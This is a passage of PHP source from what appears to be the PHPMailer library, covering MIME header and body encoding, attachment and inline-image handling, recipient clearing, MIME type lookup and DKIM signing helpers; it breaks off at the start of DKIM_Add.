    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
